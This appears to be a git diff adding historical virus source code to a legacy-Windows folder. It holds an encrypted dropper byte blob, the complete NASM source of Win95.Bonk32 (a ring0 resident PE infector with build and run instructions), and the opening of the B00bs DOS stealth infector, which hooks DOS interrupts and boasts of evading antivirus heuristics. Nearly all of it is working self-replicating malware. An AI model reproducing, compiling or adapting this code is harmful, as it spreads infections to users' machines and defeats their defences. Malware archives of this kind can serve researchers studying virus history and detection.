03Fh, 096h, 068h, 043h, 0C0h, 003h +db 0BDh, 0CDh, 0E4h, 0F6h, 02Fh, 0CCh, 081h, 009h +db 0C0h, 089h, 0F1h, 05Ch, 077h, 042h, 0AFh, 09Fh +db 0C7h, 042h, 01Ah, 004h, 032h, 00Bh, 0CBh, 08Eh +db 001h, 008h, 013h, 0B8h, 021h, 0DFh, 029h, 017h +db 0BAh, 0D3h, 040h, 055h, 01Eh, 0C2h, 093h, 020h +db 084h, 065h, 025h, 040h, 065h, 0E1h, 076h, 03Fh +db 046h, 0A6h, 041h, 0AEh, 0FAh, 091h, 001h, 04Eh +db 014h, 03Fh, 092h, 087h, 0B2h, 03Ah, 020h, 064h +db 0FFh, 06Dh, 04Ch, 021h, 00Bh, 0D4h, 007h, 01Fh +db 0F3h, 0D9h, 08Ch, 099h, 045h, 051h, 082h, 090h +db 00Ah, 0C5h, 00Bh, 055h, 001h, 066h, 05Fh, 033h +db 06Eh, 0D9h, 003h, 00Dh, 0FBh, 066h, 09Ch, 018h +db 090h, 05Ch, 00Fh, 069h, 01Fh, 02Bh, 041h, 0B5h +db 032h, 037h, 020h, 08Dh, 0ADh, 046h, 020h, 042h +db 055h, 00Ah, 001h, 0C2h, 0B1h, 0C0h, 0FBh, 04Ch +db 020h, 013h, 0DAh, 012h, 06Dh, 096h, 020h, 0EDh +db 09Bh, 03Bh, 0EDh, 02Ah, 092h, 013h, 09Ah, 020h +db 0AAh, 021h, 041h, 03Ah, 052h, 01Fh, 066h, 055h +db 0EDh, 041h, 047h, 013h, 02Ah, 019h, 021h, 051h +db 090h, 001h, 0B2h, 083h, 054h, 00Fh, 092h, 020h +db 0CAh, 010h, 09Ah, 020h, 0AEh, 021h, 051h, 056h +db 0A0h, 055h, 01Fh, 0CAh, 02Ah, 020h, 038h, 040h +db 01Fh, 0A6h, 021h, 0E7h, 05Dh, 0C0h, 0A9h, 03Ah +db 01Fh, 09Ch, 01Fh, 012h, 0D9h, 08Dh, 02Fh, 0A9h +db 043h, 022h, 0CAh, 01Fh, 0CEh, 03Ch, 020h, 052h +db 0D9h, 021h, 09Ch, 0E2h, 0ABh, 001h, 0E4h, 055h +db 01Fh, 09Ch, 06Bh, 021h, 02Bh, 022h, 0A9h, 01Eh +db 02Bh, 01Fh, 0B9h, 0ABh, 00Ah, 021h, 039h, 0C5h +db 0CEh, 09Ah, 01Eh, 096h, 01Fh, 0E3h, 049h, 021h +db 05Dh, 022h, 055h, 01Eh, 076h, 01Fh, 043h, 0A6h +db 063h, 0A2h, 022h, 0E5h, 068h, 029h, 01Fh, 06Ah +db 001h, 0B8h, 052h, 022h, 0D4h, 01Eh, 0DCh, 021h +db 0CAh, 021h, 06Ah, 022h, 0ABh, 01Eh, 038h, 052h +db 05Ah, 052h, 022h, 0B6h, 03Ch, 0A7h, 09Ah, 029h +db 01Fh, 04Dh, 018h, 02Eh, 08Eh, 0CDh, 051h, 014h +db 05Eh, 040h, 051h, 00Dh, 0ABh, 03Ch, 079h, 0EAh +db 001h, 079h, 013h, 0B5h, 004h, 007h, 02Ah, 018h +db 057h, 049h, 055h, 0FFh, 04Bh, 01Fh, 09Ah, 002h +db 0BAh, 01Eh, 0B9h, 022h, 00Ah, 05Eh, 040h, 09Ah +db 069h, 0BFh, 080h, 014h, 00Ah, 0A2h, 0F9h, 0A9h +db 0FEh, 001h, 0F4h, 0E1h, 01Eh, 0EEh, 023h, 012h +db 010h, 0E3h, 070h, 085h, 0C7h, 03Dh, 01Ah, 01Eh +db 0EFh, 02Dh, 07Fh, 003h, 0C2h, 036h, 020h, 0FBh +db 03Dh, 071h, 00Ch, 045h, 0E3h, 0DAh, 002h, 079h +db 07Fh, 01Bh, 084h, 038h, 037h, 080h, 0FBh, 00Ch +db 0A4h, 01Dh, 0A2h, 020h, 08Ah, 001h, 021h, 071h +db 037h, 045h, 001h, 065h, 01Eh, 053h, 020h, 014h +db 0A6h, 021h, 0B6h, 07Bh, 0C8h, 041h, 00Ch, 04Dh +db 04Ah, 059h, 01Fh, 09Ch, 003h, 01Ch, 06Bh, 03Eh +db 0B5h, 042h, 015h, 01Dh, 020h, 0D4h, 001h, 08Dh +db 016h, 042h, 05Dh, 05Eh, 0D6h, 09Bh, 03Dh, 0BDh +db 029h, 020h, 07Ch, 0CAh, 051h, 020h, 0B9h, 079h +db 052h, 020h, 06Ah, 085h, 07Fh, 053h, 052h, 041h +db 021h, 029h, 037h, 060h, 094h, 0E3h, 080h, 0A9h +db 05Dh, 020h, 045h, 03Fh, 036h, 020h, 00Dh, 0A7h +db 060h, 036h, 002h, 040h, 055h, 031h, 03Fh, 0D6h +db 094h, 0DDh, 0D5h, 042h, 020h, 0E5h, 015h, 021h +db 020h, 092h, 054h, 024h, 060h, 0F7h, 048h, 035h +db 043h, 034h, 040h, 08Ah, 05Fh, 052h, 020h, 08Eh +db 010h, 011h, 09Ah, 0C5h, 0AAh, 07Bh, 0E0h, 0DBh +db 0C5h, 036h, 020h, 042h, 048h, 0FBh, 060h, 0B4h +db 09Eh, 020h, 04Eh, 0B7h, 0A8h, 055h, 062h, 05Dh +db 020h, 023h, 061h, 092h, 02Dh, 0A1h, 0B6h, 042h +db 044h, 0C1h, 093h, 0A0h, 06Ah, 01Fh, 05Ah, 087h +db 021h, 0FBh, 038h, 024h, 061h, 071h, 073h, 0B8h +db 003h, 046h, 0DAh, 044h, 0CBh, 0B2h, 06Fh, 045h +db 00Dh, 034h, 01Eh, 0A9h, 052h, 001h, 00Ah, 0BBh +db 022h, 085h, 02Ah, 001h, 0EAh, 021h, 0FFh, 042h +db 0E0h, 007h, 071h, 0EEh, 012h, 0FCh, 0A2h, 084h +db 0E2h, 080h, 007h, 001h, 049h, 0D9h, 051h, 0F2h +db 0B2h, 01Ch, 0D1h, 00Ch, 0EAh, 040h, 02Dh, 014h +db 000h, 0D5h, 0B1h, 001h, 0B9h, 04Ah, 0A1h, 0E2h +db 0F6h, 00Eh, 070h, 09Ah, 00Ch, 092h, 004h, 05Ch +db 060h, 043h, 007h, 0D7h, 06Fh, 002h, 0B2h, 0D4h +db 062h, 05Ah, 087h, 029h, 0FDh, 005h, 057h, 027h +db 05Fh, 0BAh, 00Bh, 08Ah, 010h, 020h, 0B5h, 021h +db 01Bh, 020h, 060h, 0FDh, 0A8h, 051h, 0DFh, 0A8h +db 021h, 0FFh, 03Ah, 035h, 020h, 05Bh, 021h, 002h +db 028h, 040h, 0EBh, 014h, 0ABh, 061h, 053h, 037h +db 021h, 06Ah, 007h, 020h, 039h, 0BAh, 0F9h, 0C5h +db 0F7h, 0ECh, 067h, 04Eh, 0B0h, 0D4h, 02Ah, 0D5h +db 020h, 010h, 0DCh, 0F9h, 04Eh, 096h, 01Bh, 041h +db 06Dh, 00Fh, 026h, 008h, 046h, 062h, 011h, 0D4h +db 00Ah, 041h, 0D4h, 020h, 06Ah, 0CCh, 09Fh, 04Dh +db 038h, 0C7h, 055h, 007h, 044h, 04Dh, 0A3h, 0E6h +db 085h, 041h, 0F9h, 025h, 020h, 059h, 052h, 038h +db 017h, 0C7h, 0A2h, 0F6h, 09Ah, 020h, 08Ah, 060h +db 020h, 0EFh, 014h, 0CDh, 061h, 0E3h, 00Ah, 017h +db 096h, 0C7h, 09Eh, 0BFh, 0A4h, 020h, 0D9h, 063h +db 040h, 0F9h, 01Dh, 0B6h, 0C2h, 05Ah, 042h, 0DCh +db 03Eh, 09Bh, 06Ch, 0B5h, 052h, 01Bh, 020h, 0DCh +db 061h, 0A8h, 015h, 033h, 06Ch, 02Ah, 003h, 096h +db 051h, 012h, 002h, 0FAh, 08Dh, 020h, 0DEh, 0CBh +db 056h, 043h, 040h, 04Eh, 0CDh, 0E2h, 057h, 01Fh +db 0FAh, 006h, 029h, 020h, 0EFh, 0F3h, 0A1h, 098h +db 0D6h, 093h, 001h, 0D5h, 035h, 00Bh, 03Dh, 020h +db 047h, 015h, 0FBh, 0E3h, 092h, 07Ah, 024h, 0AAh +db 001h, 0ACh, 064h, 022h, 0F9h, 0A6h, 020h, 0ABh +db 021h, 072h, 03Bh, 0A4h, 021h, 0DAh, 013h, 043h +db 09Ch, 020h, 0E7h, 0F2h, 08Dh, 01Dh, 044h, 05Dh +db 007h, 049h, 083h, 0D3h, 0FDh, 02Dh, 020h, 025h +db 0E8h, 0ABh, 03Bh, 007h, 037h, 043h, 0A8h, 028h +db 0D6h, 0A5h, 020h, 0BEh, 0C6h, 078h, 085h, 02Ah +db 0A2h, 0D4h, 040h, 060h, 0F5h, 03Dh, 001h, 095h +db 07Ch, 0F6h, 020h, 072h, 08Ch, 0A9h, 021h, 0F6h +db 049h, 003h, 0DEh, 0A9h, 03Fh, 02Eh, 0E9h, 0AAh +db 0DCh, 040h, 0EEh, 09Ah, 02Fh, 0A9h, 019h, 02Ah +db 0AAh, 01Eh, 026h, 00Eh, 06Ah, 01Fh, 02Bh, 040h +db 029h, 082h, 028h, 044h, 090h, 0E3h, 0D3h, 03Fh +db 037h, 089h, 03Dh, 03Bh, 0CAh, 0BBh, 060h, 0AAh +db 007h, 094h, 001h, 0D4h, 038h, 01Fh, 0DCh, 0E9h +db 080h, 0CDh, 0E3h, 0AAh, 0E0h, 002h, 0F1h, 056h +db 01Eh, 03Fh, 0A5h, 020h, 06Dh, 006h, 059h, 024h +db 059h, 01Fh, 04Eh, 060h, 029h, 0F6h, 004h, 035h +db 084h, 066h, 07Ch, 003h, 056h, 0D7h, 020h, 069h +db 045h, 0D9h, 09Eh, 045h, 0F9h, 029h, 001h, 04Bh +db 020h, 06Ah, 0C9h, 01Eh, 0F3h, 053h, 03Eh, 020h +db 099h, 003h, 0DCh, 015h, 054h, 019h, 007h, 08Ah +db 0D7h, 020h, 0F3h, 0FCh, 055h, 01Bh, 056h, 01Fh +db 073h, 094h, 042h, 0F5h, 071h, 0EDh, 05Fh, 020h +db 0B5h, 07Fh, 021h, 029h, 0F7h, 02Ah, 04Dh, 003h +db 055h, 007h, 068h, 020h, 01Bh, 0D5h, 086h, 04Ah +db 0D2h, 01Fh, 077h, 0B6h, 002h, 043h, 0D4h, 006h +db 015h, 0DBh, 00Ch, 052h, 025h, 032h, 07Bh, 09Ah +db 030h, 071h, 0ECh, 091h, 0DFh, 0CAh, 022h, 0B6h +db 008h, 024h, 0D4h, 042h, 02Eh, 08Fh, 0FFh, 05Bh +db 011h, 038h, 044h, 05Dh, 0CAh, 033h, 09Ch, 01Bh +db 055h, 01Eh, 040h, 0FFh, 06Ah, 042h, 004h, 05Ch +db 0B6h, 042h, 08Dh, 0ACh, 03Fh, 0D4h, 0D3h, 040h +db 0DBh, 060h, 055h, 044h, 045h, 04Dh, 063h, 043h +db 041h, 00Eh, 06Fh, 002h, 028h, 075h, 013h, 06Ah +db 081h, 04Dh, 03Fh, 0D1h, 001h, 0F6h, 096h, 040h +db 02Ah, 00Eh, 05Dh, 061h, 0A4h, 040h, 0D4h, 0E1h +db 015h, 07Dh, 0A6h, 03Fh, 0FFh, 009h, 052h, 040h +db 0F7h, 033h, 0EDh, 01Bh, 005h, 034h, 052h, 026h +db 03Fh, 09Bh, 01Eh, 0F5h, 022h, 0FFh, 0D3h, 09Ch +db 040h, 0D5h, 07Eh, 07Fh, 094h, 071h, 07Dh, 0A9h +db 09Fh, 0D3h, 0FDh, 0D1h, 059h, 040h, 0B5h, 032h +db 022h, 02Dh, 03Fh, 0CAh, 093h, 020h, 089h, 0D1h +db 007h, 0CAh, 09Ch, 040h, 0A5h, 03Fh, 02Ah, 0A0h +db 0ABh, 040h, 03Ah, 002h, 0FFh, 06Dh, 065h, 07Fh +db 0C7h, 094h, 069h, 055h, 0A0h, 035h, 040h, 055h +db 001h, 03Fh, 0A6h, 061h, 0FBh, 022h, 050h, 053h +db 040h, 072h, 0A3h, 026h, 0E7h, 00Ah, 03Fh, 052h +db 0AAh, 07Fh, 0FFh, 0B7h, 081h, 0C8h, 0CDh, 054h +db 0F2h, 092h, 040h, 093h, 03Fh, 0A5h, 033h, 0DFh +db 0EDh, 052h, 0BCh, 040h, 0D4h, 03Fh, 0F4h, 08Dh +db 01Fh, 094h, 068h, 0D1h, 040h, 0B2h, 0EDh, 012h +db 0B2h, 03Fh, 08Ah, 07Fh, 09Fh, 029h, 040h, 0CAh +db 03Fh, 054h, 0A7h, 040h, 0B5h, 01Ch, 069h, 03Fh +db 0ABh, 03Eh, 040h, 04Eh, 011h, 0D4h, 03Fh, 092h +db 054h, 01Dh, 021h, 094h, 040h, 0A4h, 0D8h, 09Eh +db 0F9h, 0A4h, 03Fh, 0E3h, 032h, 081h, 095h, 040h +db 093h, 02Dh, 0A7h, 0E2h, 066h, 005h, 0A4h, 0FEh +db 0A5h, 022h, 035h, 003h, 09Ah, 00Ah, 07Bh, 0B3h +db 017h, 069h, 0ABh, 0F8h, 015h, 029h, 0BFh, 05Ah +db 02Fh, 000h, 0A2h, 0CFh, 096h, 004h, 01Fh, 0C7h +db 0F8h, 003h, 09Dh, 0C1h, 038h, 009h, 00Fh, 080h +db 0F0h, 0E1h, 0FCh, 030h, 00Dh, 0C2h, 097h, 004h +db 029h, 001h, 059h, 001h, 05Bh, 004h, 021h, 003h +db 0E3h, 007h, 0C0h, 0F3h, 0F0h, 0A7h, 02Dh, 0B6h +db 0E1h, 0FCh, 0EBh, 056h, 0CEh, 078h, 060h, 000h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[DROPPER.INC]ΔΔΔ diff --git a/LegacyWindows/Win95.Bonk32.asm b/LegacyWindows/Win95.Bonk32.asm new file mode 100644 index 00000000..9795db91 --- /dev/null +++ b/LegacyWindows/Win95.Bonk32.asm @@ -0,0 +1,556 @@ +;[W95.BONK32] Resident PE infector +;Copyright 1998 (c) Vecna +; +;This virus is the 2nd PE infector i wrote, and is a memory resident infector +;designed exclusively for win95/98. It shouldnt work neither in winNT or in +;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector +;to point code into the virus, and execute this interrupt. As the code is +;executed in ring0, the virus alloc memory and read from the host file the +;rest of the virus code. It then jump to this virus part, that hook IFS and +;restore the host. +; +;Always a EXE file is open, the virus handler take control, and infect it. +;The virus body is appended as a overlay to the end of host, without any +;physical link to host, and a small loader is stored into the free space of +;the PE header. +; +;If the host file dont have relocationz, the virus encript the original +;entrypoint and patch it with a jump to the virus loader. The key for the code +;encripted is not saved, but a CRC32 of it unencripted is stored. When the +;virus restore it, it must try all keyz, what can be time costly for AVerz. +; +;As the original entrypoint dont change, and the virus code isnt linked to +;host, beside the loader, this work as a anti-heuristic feature. +; +;Early versionz haved a bug, that cause a crash in everybody machine beside +;mine. This was because a non-fixed call to int 0x20. Some lines added and +;now it work fine. +; +;W95.Bonk32 is written using NASM sintax, that showed very efficient for my +;viral needz, as provide more control over the generated code . To compile +;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A. +;You also will need any MAKE utility (Borland, Microsoft and LCC ones work). +;then debug it using SOFT-ICE till u get the point that the virus open host +;at this point, change esi to point to a unused area (ECX hold one), then +;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the +;end. Then make the virus go(BC *;G). +; +;Or, better, run the pre-compiled file. It will execute and stay resident. +;All open files will be infected then. Remeber that the pre-compiled file +;must reside in root dir of C:, else it will crash. +; +;I must thank 2 people: the AV that discovered the bug, and Alchemy, that +;gimme the EIP of the fault and make possible to me fix it. + +[bits 32] +[section .text] +[global _main] + +%define true 1 +%define false 0 + +%define debug false +%define userda true + +%define buffer bname + 0x100 +%define buffer2 buffer + 0x1000 + +%macro vxdcall 2 + int 0x20 + dw %2 + dw %1 +%endmacro + +hook: + enter 0x20, 0x00 ;setup stack frame + push ecx + push ebx + call .delta + .delta: + pop ebx + sub ebx, .delta + cmp dword [ebp+0x0C], byte 0x24 + jne .noopen ;only hookz ifs_opne + cmp byte [ebx+recurse], byte 0x00 + jne .noopen ;no re-enter + inc byte [ebx+recurse] + pushad + call dynacall ;fix dynamic int20 calls + call uni2ansi + call infect ;replicate + popad + dec byte [ebx+recurse] + .noopen: + mov ecx, 0x06 ;total=6 paramz + mov ebx, 0x1C + .nparam: + mov eax, [ebp+ebx] ;copy paramz from old frame + push eax ;to new frame + sub ebx, 4 + loop .nparam + db 0xb8 + oldhook dd 0 + call [eax] ;call old hookz + add esp, byte 0x18 + pop ebx + pop ecx + leave + ret + + db '[BONK32] by Vecna/29A', 0x00 + +dynacall: + pushad + cld + mov ax, 0x20CD + call .odynatable + .dynatable: + dw 0x67, 0x40 + dw 0x32, 0x40 + dw 0x0D, 0x40 ;function, vxd + dw 0x41, 0x40 + dw 0x32, 0x40 + .odynatable: + pop esi + mov edi, esi + add edi, fix1-.dynatable + stosw ;make vxd calls to dynamic + movsd ;int20 code + add edi, IFS-fix1-6 + stosw + movsd + add edi, byte fix3-IFS-6 + stosw + movsd + add edi, fix4-fix3-6 ;make all fixes + stosw + movsd + popad + ret + +uni2ansi: + pushad + lea edi, [ebx+bname] + mov eax, [ebp+0x10] + cmp al, -1 + jz .drive + add al, '@' ;make number2letter + stosb + mov al, ':' + stosb + .drive: + sub eax, eax + push eax + mov eax, 0x100 + push eax + mov eax, [ebp+0x1C] + mov eax, [eax+0x0C] + add eax, byte 0x04 + push eax + push edi + fix4: + vxdcall 0x40, 0x41 ;make unicode2ansi + add esp, byte 0x10 + add edi, eax + sub eax, eax + stosb + popad + ret + +infect: + lea edi, [ebx+bname] + mov ebp, edi + mov ecx, 0x100 + sub eax, eax + cld + repne scasb ;end of name + or ecx, ecx + jz near error + cmp dword [edi-0x05], '.EXE' + jne near error ;only infect exe files + %if debug == true + cmp dword [edi-0x09], 'BAIT' + jne near error ;debug code + %endif + mov eax, 0xD500 + sub ecx, ecx + mov edx, ecx + inc edx + mov ebx, edx + inc ebx + mov esi, ebp + call IFS ;open it + jc near error + call .delta + .delta: + pop ebp + sub ebp, .delta ;ebp hold delta offset + mov ebx, eax + mov eax, 0xD600 + sub edx, edx + mov ecx, 0x1000 + lea esi, [ebp+buffer] + call IFS ;read pe headerz + jc near errorclose + mov ax, word [esi] + add al, ah + cmp al, 0xA7 + jne near errorclose ;not exe + mov edi, [esi+0x3C] + mov [ebp+mz_size], edi + cmp edi, 0xE00 + ja near errorclose ;buffer overflow + add edi, esi + cmp dword [edi], 'PE' + jne near errorclose ;not pe newexe + mov eax, 'BONK' + cmp [edi+88], eax + mov [edi+88], eax + jz near errorclose ;already infected + cmp word [edi+4], 0x014C ;run in a 386? + jnz near errorclose + bt word [edi+22], 1 ;executable? + jnc near errorclose + bt word [edi+22], 0x0D ;dll? + jc near errorclose + mov eax, [edi+40] + add eax, [edi+52] ;mementry==imagebase+entrypont + mov [ebp+loader.entrypoint], eax + movzx eax, word [edi+6] + imul eax, eax, 40 + movzx ecx, word [edi+20] ;sum size of all headerz + add eax, ecx + add eax, 24 + mov ecx, eax + add eax, edi + add ecx, lsize + cmp dword [edi+84], ecx ;total size of headerz + jc near errorclose ;enought to loader? + push eax + push edi + mov edi, eax + mov ecx, lsize + lea esi, [ebp+loader] + rep movsb ;copy loader to pe header + lea esi, [ebp+bname] + .nextbyte: + lodsb + stosb + test al, al + jnz .nextbyte ;copy host name + pop edi + pop eax + sub eax, edi + cmp [edi+160], ecx + jne near .relocs + cmp [edi+164], ecx + jne near .relocs ;shit, relocz present + %if userda == true + push ebx + mov dword [ebp+jmpentry], eax ;signal rda used + movzx ecx, word [edi+20] + add ecx, edi + add ecx, 24-0x28 + .next: + add ecx, 0x28 + mov edx, [edi+40] + sub edx, [ecx+12] ;is EIP pointing inside + cmp edx, [ecx+8] ;this section? + jnb .next + or dword [ecx+36], 80000000h ;make section writeable + add edx, [ecx+20] ;edx point physical entrypoint + push edx + push eax ;save virus entry + mov eax, 0xD600 + mov ecx, 0x100 + lea esi, [ebp+buffer2] ;esi point entrycode + call IFS ;read entry code + push esi + push edi + push esi + mov eax, 0x100 + push eax + push esi + push eax + call crc32 ;calc crc32 of 100h bytes + mov [ebp+rdacrc32], eax + pop ecx + pop esi + pop edi + in al, 0x40 + .rdaloop: + xor byte [esi], al ;encript crc32ed code + inc esi + loop .rdaloop + pop esi + push edi + lea edi, [ebp+hostcode] + movsd + movsb ;save entrycode + pop edi + xchg esi, edi ;edi point to entrycode + sub edi, byte 5 + mov al, 0xE9 ;esi point to pe header + stosb + pop edx + sub edx, [esi+40] + mov eax, edx + sub eax, 5 + add eax, dword [ebp+mz_size] + stosd ;store displacement + mov edi, esi + pop edx + mov eax, 0xD601 + mov ecx, 0x100 + lea esi, [ebp+buffer2] + pop ebx + call IFS ;write pe headerz + jmp .norelocs + %endif + .relocs: + mov dword [ebp+jmpentry], ecx ;flag as normal file + add eax, dword [ebp+mz_size] + mov [edi+40], eax ;set new entrypoint + .norelocs: + mov eax, 0xD601 + sub edx, edx + mov ecx, dword [edi+84] + lea esi, [ebp+buffer] + call IFS ;write pe headerz + mov eax, 0xD800 + call IFS ;get filesize + mov edx, 0xD601 + xchg eax, edx + mov ecx, vsize + mov esi, ebp + call IFS ;write overlay code + errorclose: + mov eax, 0xD700 + call IFS ;close file + error: + ret + +rdacrc32 dd 0 +jmpentry dd 0 +hostcode dd 0 + db 0 +recurse db 0 +mz_size dd 0 + +install: + sub edx, edx + sub esi, install ;esi point to start of vcode + push esi + mov dword [esi+recurse], edx + mov eax, 0xD700 + call IFS ;close file + or ebp, ebp + jns skip + fix1: + vxdcall 0x40, 0x67 ;hook ifs + skip: + pop ecx + mov [esi+oldhook], eax + .restore: + %if userda == true + cmp dword [esi+jmpentry], byte 0x0 + jz .norda ;was rda used? + push esi + mov edi, [esi+loader.entrypoint] + lea esi, [esi+hostcode] + movsd + movsb ;restore init code + pop esi + push dword 0x100 + push dword [esi+rdacrc32] + push dword [esi+loader.entrypoint] + call rda ;rda decript host + .norda: + %endif + ret + + %if userda == true + crc32_pbfr equ +0x0C + crc32_sz equ +0x08 + crc32_ret@ equ +0x04 + crc32_ebp@ equ +0x00 + +crc32: + push ebp + mov ebp, esp + mov esi, [ebp+crc32_pbfr] + mov edi, [ebp+crc32_sz] ;setup regz + push byte -1 + pop ecx ;init crc32 + mov edx, ecx + .aa: + sub eax, eax + mov ebx, eax + lodsb ;get byte + xor al, cl + mov cl, ch + mov ch, dl + mov dl, dh + mov dh, 8 + .ab: + shr bx, 1 + rcr ax, 1 + jnc .ac + xor ax, 0x08320 ;logarithm + xor bx, 0x0edb8 + .ac: + dec dh + jnz .ab + xor ecx, eax + xor edx, ebx + dec edi + jnz .aa ;next byte + not edx + not ecx + shl ecx, 16 ;cx:dx to ecx + mov cx, dx + mov eax, ecx + pop ebp + ret 8 + %endif + +_main + +loader: + pushad + call .seh + mov esp, [esp+8] + jmp .removeseh + .seh: + sub edx, edx + fs push dword [edx] + fs mov dword [edx], esp ;seh frame set + call .delta + .delta: + pop eax + sub eax, .delta + push eax + sidt [esp-2] ;get idt to ebx + pop ebx + cli + mov ebp, [ebx+0x4+(0x5*0x8)] + mov bp, [ebx+(0x5*0x8)] + lea ecx, [eax+ring0] ;new int5 handler + mov [ebx+(0x5*0x8)], cx + bswap ecx + xchg cl, ch + mov [ebx+0x6+(0x5*0x8)], cx + push ds + push es + int 0x5 ;jump to ring0 + pop es + pop ds + .removeseh: + sti + sub eax, eax + fs pop dword [eax] ;remove seh frame + pop eax + popad + db 0x68 ;return to host + .entrypoint dd 0 + pop ecx + jecxz .ret + push ecx + .ret: + ret + +IFS: + vxdcall 0x40, 0x32 ;just one place to fix + ret + +ring0: + cld + push ss + pop ds + mov edi, [eax+IFS] + mov ax, 0x20CD ;these linez fix the previous + stosw ;bug, found by AVz + mov ax, 0x32 + stosw + mov ax, 0x40 + stosw + lea ecx, [eax+bname] + lea esi, [eax+name] + mov eax, 0xD500 ;openfile + sub ecx, ecx + mov edx, ecx + mov ebx, ecx + inc edx + call IFS + jnc .skip + iret ;cant open host + .skip: + push eax + push dword 8192 + fix3: + vxdcall 0x40, 0x0D ;vmm alloc + pop ecx + mov esi, eax + pop ebx + jc .error + mov eax, 0xD800 ;get filesize + call IFS + mov ecx, vsize + sub eax, ecx + mov edx, 0xD600 ;read overlay + xchg eax, edx + call IFS + add esi, install-hook + call esi ;call it! + .error: + iret + +lsize equ ($-loader) + +name equ $ + + %if userda == true + rda_sz equ +16 + rda_crc equ +12 + rda_pbfr equ +08 + rda_ret@ equ +04 + rda_ebp@ equ +00 + rda_pass equ -04 + rda_key equ -08 + +rda: + enter 8, 0 ;2 dwords as local var + sub eax, eax + mov [ebp+rda_pass], eax + mov [ebp+rda_key], eax ;setup rda + .setup: + mov esi, [ebp+rda_pbfr] + mov ecx, [ebp+rda_sz] + mov edx, [ebp+rda_key] ;setup loop + .loop: + xor [esi], dl + inc esi + dec ecx + jnz .loop + inc dword [ebp+rda_pass] ;increase pass counter + cmp [ebp+rda_pass], byte 2 + jne .check ;first pass + sub eax, eax + mov [ebp+rda_pass], eax + inc dword [ebp+rda_key] ;new key + jmp short .setup + .check: + push ebp + push dword [ebp+rda_pbfr] + push dword [ebp+rda_sz] + call crc32 ;calc crc32 + pop ebp + cmp eax, [ebp+rda_crc] + jne .setup ;crc32 dont match + leave + ret 12 + %endif + +vsize equ ($-$$) + +bname: diff --git a/LegacyWindows/Win95.Boobs.asm b/LegacyWindows/Win95.Boobs.asm new file mode 100644 index 00000000..64fe33b3 --- /dev/null +++ b/LegacyWindows/Win95.Boobs.asm @@ -0,0 +1,1586 @@ +; B00bs virus +;****************************************************************************** +; THIS IS FOR EDUCATIONAL PURPOSE ONLY Gi0rGeTt0 +; +; Virus name : B00BS +; Author : Unknwon :) +; Group : iKx +; Origin : Italy 1996/97 +; Compiling : Use TASM +; TASM /M2 B00BS.ASM +; TLINK B00BS +; Targets : EXE COM +; Features : stealth via 11h,12h,4eh,4fh,disinfect and infect on the fly +; on opening(3dh,6c00h) and closing(3eh) ,int 24h handler +; TSR by MCB and int21h (48h) +; uses some 386 instructions for some routines (just for fun) +; fucks TBAV,AVP,F-PROT heuristic shits +; improvements : needs a poly engine +; payload : none +; Greetings : to all the guys of the iKx and all the +; other guys on #virus. +; +;****************************************************************************** +; +; The file is a EXE + + +.386 + +CSeg SEGMENT USE16 + +ASSUME cs:CSeg + +FileHeaderRecord struc + signature dw ? + sizemod dw ? + msize dw ? + relocat dw ? + headsize dw ? + minalloc dw ? + maxalloc dw ? + stackseg dw ? + stackofs dw ? + check dw ? + ip dw ? + codes dw ? + Checksum dw ? + checkOvr dw ? + +FileHeaderRecord ends + +SearchRecord struc + date dw ? + time dw ? +SearchRecord ends + +ExecBlockRecord struc + Env dw ? + Cmd dd ? +ExecBlockRecord ends + +Findrecord struc + FindBuf db 128 dup (?) + Findofs dw ? +Findrecord ends + +VIR_PAR = ((END_TSR - START_TSR ) / 16) + 2 +VIR_LEN = (REAL_CODE - START_TSR) + 1 ; dim virus in memoria +VIR_TRUE_LEN = ( REAL_CODE - START_TSR ) + 1 ; dimensione del virus su file + + +already = 0 ; already infected +ready = 1 ; ready to be infected +com = 2 ; com file +exe = 3 ; exe file +other = 4 ; other + +true = 1 +false = 0 + +maxfiles = 26 ; max file no to open , must be (maxfiles*2)/4 integer + +START_TSR equ $ + +AfterCryp : call SH +SH : pop bp + sub bp,3 + + push ds + pop es + + mov ax,0fe01h + int 2fh + + cmp al,0ffh + jne short Novirus + +YesVirus : db 0e9h + jmp_addr dw ? + + mov ax,ds ; ES = DS = PSP = AX + add ax,10h ; PSP + 1 paragraph + mov bx,cs:[bp][templateheader.stackseg] + add bx,ax + cli + mov ss,bx + mov sp,cs:[bp][templateheader.stackofs] + sti + + mov bx,cs:[bp][templateheader.codes] + add bx,ax + + push bx ; push CS + push cs:[bp][templateheader.ip] ; push IP + +@jump : xor eax,eax + xor ebx,ebx + xor ecx,ecx + xor edx,edx + xor esi,esi + xor edi,edi + xor ebp,ebp + + retf ; jmp to host CS:IP + +com_exec : push cs ; COM settings + mov si,bp + add si,offset @com_buf + mov di,100h + push di + cld + movsd + jmp short @jump + + +NoVirus : mov es,word ptr ds:[2ch] ; enviroment segment + mov word ptr cs:[bp][tmp_COMseg],es + + push ds + + mov ax,ds ; DS = PSP + dec ax ; AX = MCB + mov ds,ax + + mov bl,02h ; last fit + mov ax,5801h + int 21h ; set + + mov bx,VIR_PAR ; malloc + mov ah,48h + int 21h + jnc short malloc ; problems ? + + push ax dx + mov ah,2 + mov dl,7 + int 21h + pop dx ax + + push ds + pop ax + + mov bx,4d03h + mov ds:[0],bh ;'M' + xor bh,bh + sub word ptr ds:[bx],VIR_PAR + inc ax + add ax,ds:[bx] + mov ds,ax + mov word ptr ds:[bx],VIR_PAR-1 + mov bl,'Z' + mov ds:[0],bl ; Z in last MCB + + inc ax + +malloc : mov es,ax + + dec ax + push ax + pop ds + + mov bx,8 + mov ds:[1],bx ; owned by dos 0008 + mov word ptr ds:[bx],'CS' + + xor bl,bl ; restore strategy + mov ax,5801h + int 21h + + cld + xor di,di + mov si,bp + push cs + pop ds + mov cx,(VIR_LEN / 4) + 1 +rep movsd + + call clean_x_stack + + cli + + xor ax,ax + mov ds,ax + + mov eax,es + shl eax,16 + mov ax,offset HOOK_21 + xchg ds:[84h],eax + mov es:TRAPPED_21,eax + + mov eax,es + shl eax,16 + mov ax,offset HOOK_2F + xchg ds:[0bch],eax + mov es:TRAPPED_2F,eax + + pop ds ; DS = PSP + + mov es:sleep,FALSE + mov es:command_Flag,TRUE + mov ax,cs:[bp][tmp_COMseg] + mov es:COMseg,ax + + push ds 